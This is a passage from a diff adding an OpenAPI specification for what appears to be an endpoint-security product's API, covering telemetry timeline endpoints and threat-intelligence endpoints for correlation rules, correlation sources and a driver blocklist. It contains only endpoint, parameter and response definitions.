+        "204":
+          description: favorite successfully deleted
+        "404":
+          description: favorite doesn't exist
+      tags:
+        - telemetry
+    parameters:
+      - description: A UUID string identifying this timeline favorite.
+        format: uuid
+        in: path
+        name: id
+        required: true
+        type: string
+  /data/telemetry/timeline/Timeline/:
+    get:
+      deprecated: true
+      description: Deprecated endpoint for related timeline
+      operationId: data_telemetry_timeline_Timeline_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/AbstractTimeline'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - telemetry
+    parameters: []
+  /data/telemetry/timeline/Timeline/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_telemetry_timeline_Timeline_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - telemetry
+    parameters: []
+  /data/telemetry/timeline/Timeline/new_export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_telemetry_timeline_Timeline_new_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - telemetry
+    parameters: []
+  /data/telemetry/timeline/Timeline/new_timeline/:
+    get:
+      description: List of timeline events
+      operationId: data_telemetry_timeline_Timeline_new_timeline
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/AbstractTimeline'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - telemetry
+    parameters: []
+  /data/telemetry/timeline/Timeline/version_graph/:
+    get:
+      description: Endpoint for related timeline graph
+      operationId: data_telemetry_timeline_Timeline_version_graph
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - format: uuid
+          in: query
+          name: agent_id
+          required: true
+          type: string
+        - format: date
+          in: query
+          name: from_date
+          required: false
+          type: string
+        - format: date
+          in: query
+          name: to_date
+          required: false
+          type: string
+        - description: A string parameter that will be split into a list of string, using the ',' as split separator.
+          in: query
+          minLength: 1
+          name: event_type
+          required: false
+          type: string
+      responses:
+        "200":
+          description: ""
+          schema:
+            items:
+              $ref: '#/definitions/TimelineGraph'
+            type: array
+        "400":
+          description: Invalid form
+          examples:
+            application/json:
+              field_name:
+                - error message
+                - other error message
+        "404":
+          description: Not found
+          examples:
+            application/json:
+              detail: Not found.
+      tags:
+        - telemetry
+    parameters: []
+  /data/telemetry/timeline/Timeline/{id}/:
+    get:
+      description: ""
+      operationId: data_telemetry_timeline_Timeline_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/AbstractTimeline'
+      tags:
+        - telemetry
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/threat_intelligence/CorrelationRule/:
+    get:
+      description: ""
+      operationId: data_threat_intelligence_CorrelationRule_list
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: source_id
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          name: last_update
+          required: false
+          type: string
+        - in: query
+          name: creation_date
+          required: false
+          type: string
+        - in: query
+          name: last_modifier.id
+          required: false
+          type: number
+        - in: query
+          name: last_modifier.username
+          required: false
+          type: string
+        - in: query
+          name: id
+          required: false
+          type: string
+        - in: query
+          name: enabled
+          required: false
+          type: boolean
+        - in: query
+          name: block_on_agent
+          required: false
+          type: boolean
+        - in: query
+          name: quarantine_on_agent
+          required: false
+          type: boolean
+        - in: query
+          name: endpoint_detection
+          required: false
+          type: boolean
+        - in: query
+          name: hl_status
+          required: false
+          type: string
+        - in: query
+          name: rule_level
+          required: false
+          type: string
+        - in: query
+          name: rule_level_override
+          required: false
+          type: string
+        - in: query
+          name: rule_level_overridden
+          required: false
+          type: boolean
+        - in: query
+          name: rule_effective_level
+          required: false
+          type: string
+        - in: query
+          name: rule_effective_confidence
+          required: false
+          type: string
+        - in: query
+          name: source.id
+          required: false
+          type: string
+        - in: query
+          name: source.name
+          required: false
+          type: string
+        - in: query
+          name: ruleset_rule_default
+          required: false
+          type: boolean
+        - in: query
+          name: ruleset_rule.enabled
+          required: false
+          type: boolean
+        - in: query
+          name: ruleset_rule.block_on_agent
+          required: false
+          type: boolean
+        - in: query
+          name: ruleset_rule.quarantine_on_agent
+          required: false
+          type: boolean
+        - enum:
+            - alert
+            - backend_alert
+            - block
+            - disabled
+            - quarantine
+          in: query
+          name: global_state
+          required: false
+          type: string
+        - enum:
+            - alert
+            - backend_alert
+            - block
+            - disabled
+            - quarantine
+          in: query
+          name: effective_state
+          required: false
+          type: string
+        - enum:
+            - alert
+            - backend_alert
+            - block
+            - default
+            - disabled
+            - quarantine
+          in: query
+          name: state
+          required: false
+          type: string
+        - in: query
+          name: origin_stack.id
+          required: false
+          type: string
+        - in: query
+          name: tenant
+          required: false
+          type: string
+        - in: query
+          name: name
+          required: false
+          type: string
+        - in: query
+          name: content
+          required: false
+          type: string
+        - in: query
+          name: whitelist_count
+          required: false
+          type: number
+        - in: query
+          name: rule_name
+          required: false
+          type: string
+        - in: query
+          name: rule_description
+          required: false
+          type: string
+        - enum:
+            - linux
+            - macos
+            - unknown
+            - windows
+          in: query
+          name: rule_os
+          required: false
+          type: string
+        - enum:
+            - deprecated
+            - experimental
+            - stable
+            - test
+            - unsupported
+          in: query
+          name: rule_status
+          required: false
+          type: string
+        - in: query
+          name: rule_tactic_tags
+          required: false
+          type: string
+        - in: query
+          name: rule_technique_tags
+          required: false
+          type: string
+        - enum:
+            - moderate
+            - strong
+            - weak
+          in: query
+          name: rule_confidence
+          required: false
+          type: string
+        - in: query
+          name: errors
+          required: false
+          type: string
+        - in: query
+          name: warnings
+          required: false
+          type: string
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/CorrelationPagination'
+      tags:
+        - threat Intelligence
+    parameters: []
+    post:
+      description: ""
+      operationId: data_threat_intelligence_CorrelationRule_create
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/CreateCorrelationRule'
+      responses:
+        "201":
+          description: ""
+          schema:
+            $ref: '#/definitions/CreateRuleResponse'
+      tags:
+        - threat Intelligence
+  /data/threat_intelligence/CorrelationRule/export/:
+    get:
+      description: Endpoint for exporting the current queryset as a CSV file.
+      operationId: data_threat_intelligence_CorrelationRule_export
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: source_id
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - threat Intelligence
+    parameters: []
+  /data/threat_intelligence/CorrelationRule/list_ruleset/{ruleset_id}/:
+    get:
+      description: ""
+      operationId: data_threat_intelligence_CorrelationRule_list_ruleset
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: source_id
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          name: last_update
+          required: false
+          type: string
+        - in: query
+          name: creation_date
+          required: false
+          type: string
+        - in: query
+          name: last_modifier.id
+          required: false
+          type: number
+        - in: query
+          name: last_modifier.username
+          required: false
+          type: string
+        - in: query
+          name: id
+          required: false
+          type: string
+        - in: query
+          name: enabled
+          required: false
+          type: boolean
+        - in: query
+          name: block_on_agent
+          required: false
+          type: boolean
+        - in: query
+          name: quarantine_on_agent
+          required: false
+          type: boolean
+        - in: query
+          name: endpoint_detection
+          required: false
+          type: boolean
+        - in: query
+          name: hl_status
+          required: false
+          type: string
+        - in: query
+          name: rule_level
+          required: false
+          type: string
+        - in: query
+          name: rule_level_override
+          required: false
+          type: string
+        - in: query
+          name: rule_level_overridden
+          required: false
+          type: boolean
+        - in: query
+          name: rule_effective_level
+          required: false
+          type: string
+        - in: query
+          name: rule_effective_confidence
+          required: false
+          type: string
+        - in: query
+          name: source.id
+          required: false
+          type: string
+        - in: query
+          name: source.name
+          required: false
+          type: string
+        - in: query
+          name: ruleset_rule_default
+          required: false
+          type: boolean
+        - in: query
+          name: ruleset_rule.enabled
+          required: false
+          type: boolean
+        - in: query
+          name: ruleset_rule.block_on_agent
+          required: false
+          type: boolean
+        - in: query
+          name: ruleset_rule.quarantine_on_agent
+          required: false
+          type: boolean
+        - enum:
+            - alert
+            - backend_alert
+            - block
+            - disabled
+            - quarantine
+          in: query
+          name: global_state
+          required: false
+          type: string
+        - enum:
+            - alert
+            - backend_alert
+            - block
+            - disabled
+            - quarantine
+          in: query
+          name: effective_state
+          required: false
+          type: string
+        - enum:
+            - alert
+            - backend_alert
+            - block
+            - default
+            - disabled
+            - quarantine
+          in: query
+          name: state
+          required: false
+          type: string
+        - in: query
+          name: origin_stack.id
+          required: false
+          type: string
+        - in: query
+          name: tenant
+          required: false
+          type: string
+        - in: query
+          name: name
+          required: false
+          type: string
+        - in: query
+          name: content
+          required: false
+          type: string
+        - in: query
+          name: whitelist_count
+          required: false
+          type: number
+        - in: query
+          name: rule_name
+          required: false
+          type: string
+        - in: query
+          name: rule_description
+          required: false
+          type: string
+        - enum:
+            - linux
+            - macos
+            - unknown
+            - windows
+          in: query
+          name: rule_os
+          required: false
+          type: string
+        - enum:
+            - deprecated
+            - experimental
+            - stable
+            - test
+            - unsupported
+          in: query
+          name: rule_status
+          required: false
+          type: string
+        - in: query
+          name: rule_tactic_tags
+          required: false
+          type: string
+        - in: query
+          name: rule_technique_tags
+          required: false
+          type: string
+        - enum:
+            - moderate
+            - strong
+            - weak
+          in: query
+          name: rule_confidence
+          required: false
+          type: string
+        - in: query
+          name: errors
+          required: false
+          type: string
+        - in: query
+          name: warnings
+          required: false
+          type: string
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/CorrelationRulesetPagination'
+      tags:
+        - threat Intelligence
+    parameters:
+      - in: path
+        name: ruleset_id
+        required: true
+        type: string
+  /data/threat_intelligence/CorrelationRule/update/:
+    parameters: []
+    post:
+      description: Update fields for multiple rules at once
+      operationId: data_threat_intelligence_CorrelationRule_update_bulk
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_RuleBulkUpdate'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+        "400":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      tags:
+        - threat Intelligence
+  /data/threat_intelligence/CorrelationRule/update_rules/{ruleset_id}/:
+    parameters:
+      - in: path
+        name: ruleset_id
+        required: true
+        type: string
+    patch:
+      description: Deprecated call maintained for retrocompatability.
+      operationId: data_threat_intelligence_CorrelationRule_update_rules
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/RuleUpdateRuleset'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/CorrelationRulesetResponse'
+      tags:
+        - threat Intelligence
+  /data/threat_intelligence/CorrelationRule/update_ruleset/{ruleset_id}/:
+    parameters:
+      - in: path
+        name: ruleset_id
+        required: true
+        type: string
+    patch:
+      description: ""
+      operationId: data_threat_intelligence_CorrelationRule_update_ruleset
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/RuleUpdateRuleset'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/CorrelationRulesetResponse'
+      tags:
+        - threat Intelligence
+  /data/threat_intelligence/CorrelationRule/{id}/:
+    delete:
+      description: ""
+      operationId: data_threat_intelligence_CorrelationRule_delete
+      parameters: []
+      responses:
+        "204":
+          description: ""
+        "400":
+          description: Error, cannot delete a correlation rule used by one or more other correlation rules
+          examples:
+            application/json:
+              code: linked_correlation_rule
+              correlation_rule:
+                correlation_rule_id: cee3ffd8-cc9b-4055-be65-30924765f938
+                correlation_rule_name: cmd then powersploit
+                correlation_source_id: cfebb3f0-63f0-4ffc-9128-2c1d240b246d
+                correlation_source_name: correlation source A
+              details: You cannot delete a correlation rule used by one or more other correlation rules
+              linked_correlation:
+                - correlation_rule_id: 586588f0-ff80-469c-9c0c-493fb42d72f9
+                  correlation_rule_name: double ls
+                  correlation_source_id: 35d913b3-f575-4d23-93f7-b2e78c0bfbea
+                  correlation_source_name: correlation source B
+                - correlation_rule_id: ae673282-9d52-4b07-920d-e3cbd2958c37
+                  correlation_rule_name: notepad loads kernel32 and user32
+                  correlation_source_id: 35d913b3-f575-4d23-93f7-b2e78c0bfbea
+                  correlation_source_name: correlation source B
+          schema:
+            $ref: '#/definitions/CorrelationRuleLinkedToCorrelationRuleResponse'
+      tags:
+        - threat Intelligence
+    get:
+      description: ""
+      operationId: data_threat_intelligence_CorrelationRule_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/CorrelationRule'
+      tags:
+        - threat Intelligence
+    parameters:
+      - description: A unique value identifying this correlation rule.
+        in: path
+        name: id
+        required: true
+        type: string
+    patch:
+      description: ""
+      operationId: data_threat_intelligence_CorrelationRule_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/CorrelationRule'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/CorrelationRule'
+      tags:
+        - threat Intelligence
+    put:
+      description: ""
+      operationId: data_threat_intelligence_CorrelationRule_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/CorrelationRule'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/CorrelationRule'
+      tags:
+        - threat Intelligence
+  /data/threat_intelligence/CorrelationSource/:
+    get:
+      description: ""
+      operationId: data_threat_intelligence_CorrelationSource_list
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          name: last_update
+          required: false
+          type: string
+        - in: query
+          name: creation_date
+          required: false
+          type: string
+        - in: query
+          name: last_modifier.id
+          required: false
+          type: number
+        - in: query
+          name: last_modifier.username
+          required: false
+          type: string
+        - in: query
+          name: name
+          required: false
+          type: string
+        - in: query
+          name: description
+          required: false
+          type: string
+        - in: query
+          name: enabled
+          required: false
+          type: boolean
+        - in: query
+          name: block_on_agent
+          required: false
+          type: boolean
+        - in: query
+          name: quarantine_on_agent
+          required: false
+          type: boolean
+        - in: query
+          name: endpoint_detection
+          required: false
+          type: boolean
+        - enum:
+            - alert
+            - backend_alert
+            - block
+            - disabled
+            - quarantine
+          in: query
+          name: global_state
+          required: false
+          type: string
+        - enum:
+            - alert
+            - backend_alert
+            - block
+            - default
+            - disabled
+            - quarantine
+          in: query
+          name: state
+          required: false
+          type: string
+        - enum:
+            - alert
+            - backend_alert
+            - block
+            - disabled
+            - quarantine
+          in: query
+          name: effective_state
+          required: false
+          type: string
+        - enum:
+            - alert
+            - backend_alert
+            - block
+            - default
+            - disabled
+            - quarantine
+          in: query
+          name: new_rule_state
+          required: false
+          type: string
+        - in: query
+          name: alert_rule_count
+          required: false
+          type: number
+        - in: query
+          name: block_rule_count
+          required: false
+          type: number
+        - in: query
+          name: quarantine_rule_count
+          required: false
+          type: number
+        - in: query
+          name: disabled_rule_count
+          required: false
+          type: number
+        - in: query
+          name: default_rule_count
+          required: false
+          type: number
+        - in: query
+          name: rule_level_default
+          required: false
+          type: string
+        - in: query
+          name: origin_stack.id
+          required: false
+          type: string
+        - in: query
+          name: tenant
+          required: false
+          type: string
+        - in: query
+          name: rule_count
+          required: false
+          type: number
+        - in: query
+          name: rule_stable_count
+          required: false
+          type: number
+        - in: query
+          name: rule_testing_count
+          required: false
+          type: number
+        - in: query
+          name: rule_experimental_count
+          required: false
+          type: number
+        - enum:
+            - moderate
+            - strong
+            - weak
+          in: query
+          name: rule_confidence_default
+          required: false
+          type: string
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/CorrelationSource'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - threat Intelligence
+    parameters: []
+    post:
+      description: ""
+      operationId: data_threat_intelligence_CorrelationSource_create
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/CorrelationSource'
+      responses:
+        "201":
+          description: ""
+          schema:
+            $ref: '#/definitions/CorrelationSource'
+      tags:
+        - threat Intelligence
+  /data/threat_intelligence/CorrelationSource/export/:
+    get:
+      description: Endpoint for exporting the current queryset as a CSV file.
+      operationId: data_threat_intelligence_CorrelationSource_export
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - threat Intelligence
+    parameters: []
+  /data/threat_intelligence/CorrelationSource/list_ruleset/{ruleset_id}/:
+    get:
+      description: ""
+      operationId: data_threat_intelligence_CorrelationSource_list_ruleset
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          name: last_update
+          required: false
+          type: string
+        - in: query
+          name: creation_date
+          required: false
+          type: string
+        - in: query
+          name: last_modifier.id
+          required: false
+          type: number
+        - in: query
+          name: last_modifier.username
+          required: false
+          type: string
+        - in: query
+          name: name
+          required: false
+          type: string
+        - in: query
+          name: description
+          required: false
+          type: string
+        - in: query
+          name: enabled
+          required: false
+          type: boolean
+        - in: query
+          name: block_on_agent
+          required: false
+          type: boolean
+        - in: query
+          name: quarantine_on_agent
+          required: false
+          type: boolean
+        - in: query
+          name: endpoint_detection
+          required: false
+          type: boolean
+        - enum:
+            - alert
+            - backend_alert
+            - block
+            - disabled
+            - quarantine
+          in: query
+          name: global_state
+          required: false
+          type: string
+        - enum:
+            - alert
+            - backend_alert
+            - block
+            - default
+            - disabled
+            - quarantine
+          in: query
+          name: state
+          required: false
+          type: string
+        - enum:
+            - alert
+            - backend_alert
+            - block
+            - disabled
+            - quarantine
+          in: query
+          name: effective_state
+          required: false
+          type: string
+        - enum:
+            - alert
+            - backend_alert
+            - block
+            - default
+            - disabled
+            - quarantine
+          in: query
+          name: new_rule_state
+          required: false
+          type: string
+        - in: query
+          name: alert_rule_count
+          required: false
+          type: number
+        - in: query
+          name: block_rule_count
+          required: false
+          type: number
+        - in: query
+          name: quarantine_rule_count
+          required: false
+          type: number
+        - in: query
+          name: disabled_rule_count
+          required: false
+          type: number
+        - in: query
+          name: default_rule_count
+          required: false
+          type: number
+        - in: query
+          name: rule_level_default
+          required: false
+          type: string
+        - in: query
+          name: origin_stack.id
+          required: false
+          type: string
+        - in: query
+          name: tenant
+          required: false
+          type: string
+        - in: query
+          name: rule_count
+          required: false
+          type: number
+        - in: query
+          name: rule_stable_count
+          required: false
+          type: number
+        - in: query
+          name: rule_testing_count
+          required: false
+          type: number
+        - in: query
+          name: rule_experimental_count
+          required: false
+          type: number
+        - enum:
+            - moderate
+            - strong
+            - weak
+          in: query
+          name: rule_confidence_default
+          required: false
+          type: string
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/_CorrelationSourceRulesetPagination'
+      tags:
+        - threat Intelligence
+    parameters:
+      - in: path
+        name: ruleset_id
+        required: true
+        type: string
+  /data/threat_intelligence/CorrelationSource/{id}/:
+    delete:
+      description: |-
+        If the rule source contains at least one rule that is a dependency of at least
+        one Correlation rule in another correlation source, we block the deletion.
+
+        If all the dependencies are from the rule source itself, the deletion
+        is performed as usual.
+      operationId: data_threat_intelligence_CorrelationSource_delete
+      parameters: []
+      responses:
+        "204":
+          description: ""
+        "400":
+          description: Error, cannot delete a correlation source that contain correlation rules used by one or more other correlation rules
+          examples:
+            application/json:
+              code: linked_correlation_rule
+              correlation_rule:
+                correlation_rule_id: cee3ffd8-cc9b-4055-be65-30924765f938
+                correlation_rule_name: cmd then powersploit
+                correlation_source_id: cfebb3f0-63f0-4ffc-9128-2c1d240b246d
+                correlation_source_name: correlation source A
+              details: You cannot delete a correlation rule used by one or more other correlation rules
+              linked_correlation:
+                - correlation_rule_id: 586588f0-ff80-469c-9c0c-493fb42d72f9
+                  correlation_rule_name: double ls
+                  correlation_source_id: 35d913b3-f575-4d23-93f7-b2e78c0bfbea
+                  correlation_source_name: correlation source B
+                - correlation_rule_id: ae673282-9d52-4b07-920d-e3cbd2958c37
+                  correlation_rule_name: notepad loads kernel32 and user32
+                  correlation_source_id: 35d913b3-f575-4d23-93f7-b2e78c0bfbea
+                  correlation_source_name: correlation source B
+          schema:
+            $ref: '#/definitions/CorrelationRuleLinkedToCorrelationRuleResponse'
+      summary: Delete the rule source.
+      tags:
+        - threat Intelligence
+    get:
+      description: ""
+      operationId: data_threat_intelligence_CorrelationSource_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/CorrelationSource'
+      tags:
+        - threat Intelligence
+    parameters:
+      - description: A unique value identifying this correlation source.
+        in: path
+        name: id
+        required: true
+        type: string
+    patch:
+      description: ""
+      operationId: data_threat_intelligence_CorrelationSource_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/CorrelationSource'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/CorrelationSource'
+      tags:
+        - threat Intelligence
+    put:
+      description: ""
+      operationId: data_threat_intelligence_CorrelationSource_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/CorrelationSource'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/CorrelationSource'
+      tags:
+        - threat Intelligence
+  /data/threat_intelligence/CorrelationSource/{id}/items/:
+    delete:
+      description: |-
+        If at least one of the rules to delete is a dependency of at least
+        one Correlation rule, we block the deletion (full success or fail).
+      operationId: data_threat_intelligence_CorrelationSource_items
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/DeleteSourceItemsBody'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/DeleteSourceItemsBody'
+        "400":
+          description: Error, cannot delete a correlation rule used by one or more other correlation rules
+          examples:
+            application/json:
+              code: linked_correlation_rule
+              correlation_rule:
+                correlation_rule_id: cee3ffd8-cc9b-4055-be65-30924765f938
+                correlation_rule_name: cmd then powersploit
+                correlation_source_id: cfebb3f0-63f0-4ffc-9128-2c1d240b246d
+                correlation_source_name: correlation source A
+              details: You cannot delete a correlation rule used by one or more other correlation rules
+              linked_correlation:
+                - correlation_rule_id: 586588f0-ff80-469c-9c0c-493fb42d72f9
+                  correlation_rule_name: double ls
+                  correlation_source_id: 35d913b3-f575-4d23-93f7-b2e78c0bfbea
+                  correlation_source_name: correlation source B
+                - correlation_rule_id: ae673282-9d52-4b07-920d-e3cbd2958c37
+                  correlation_rule_name: notepad loads kernel32 and user32
+                  correlation_source_id: 35d913b3-f575-4d23-93f7-b2e78c0bfbea
+                  correlation_source_name: correlation source B
+          schema:
+            $ref: '#/definitions/CorrelationRuleLinkedToCorrelationRuleResponse'
+      summary: Delete one or more rules from the rule source.
+      tags:
+        - threat Intelligence
+    parameters:
+      - description: A unique value identifying this correlation source.
+        in: path
+        name: id
+        required: true
+        type: string
+  /data/threat_intelligence/DriverBlocklist/:
+    get:
+      description: ""
+      operationId: data_threat_intelligence_DriverBlocklist_list
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: source_id
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          name: last_update
+          required: false
+          type: string
+        - in: query
+          name: creation_date
+          required: false
+          type: string
+        - in: query
+          name: last_modifier.id
+          required: false
+          type: number
+        - in: query
+          name: last_modifier.username
+          required: false
+          type: string
+        - enum:
+            - filename
+            - filepath
+            - hash
+          in: query
+          name: type
+          required: false
+          type: string
+        - in: query
+          name: value
+          required: false
+          type: string
+        - in: query
+          name: comment
+          required: false
+          type: string
+        - in: query
+          name: id
+          required: false
+          type: string
+        - in: query
+          name: enabled
+          required: false
+          type: boolean
+        - in: query
+          name: block_on_agent
+          required: false
+          type: boolean
+        - in: query
+          name: hl_status
+          required: false
+          type: string
+        - enum:
+            - alert
+            - backend_alert
+            - block
+            - default
+            - disabled
+            - quarantine
+          in: query
+          name: state
+          required: false
+          type: string
+        - enum:
+            - alert
+            - backend_alert
+            - block
+            - disabled
+            - quarantine
+          in: query
+          name: global_state
+          required: false
+          type: string
+        - enum:
+            - alert
+            - backend_alert
+            - block
+            - disabled
+            - quarantine
+          in: query
+          name: effective_state
+          required: false
+          type: string
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/_DriverBlocklistPagination'
+      tags:
+        - threat Intelligence
+    parameters: []
+    post:
+      description: ""
+      operationId: data_threat_intelligence_DriverBlocklist_create
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/DriverBlocklist'
+      responses:
+        "201":
+          description: ""
+          schema:
+            $ref: '#/definitions/DriverBlocklist'
+      tags:
+        - threat Intelligence
+  /data/threat_intelligence/DriverBlocklist/export/:
+    get:
+      description: Endpoint for exporting the current queryset as a CSV file.
+      operationId: data_threat_intelligence_DriverBlocklist_export
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: source_id
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
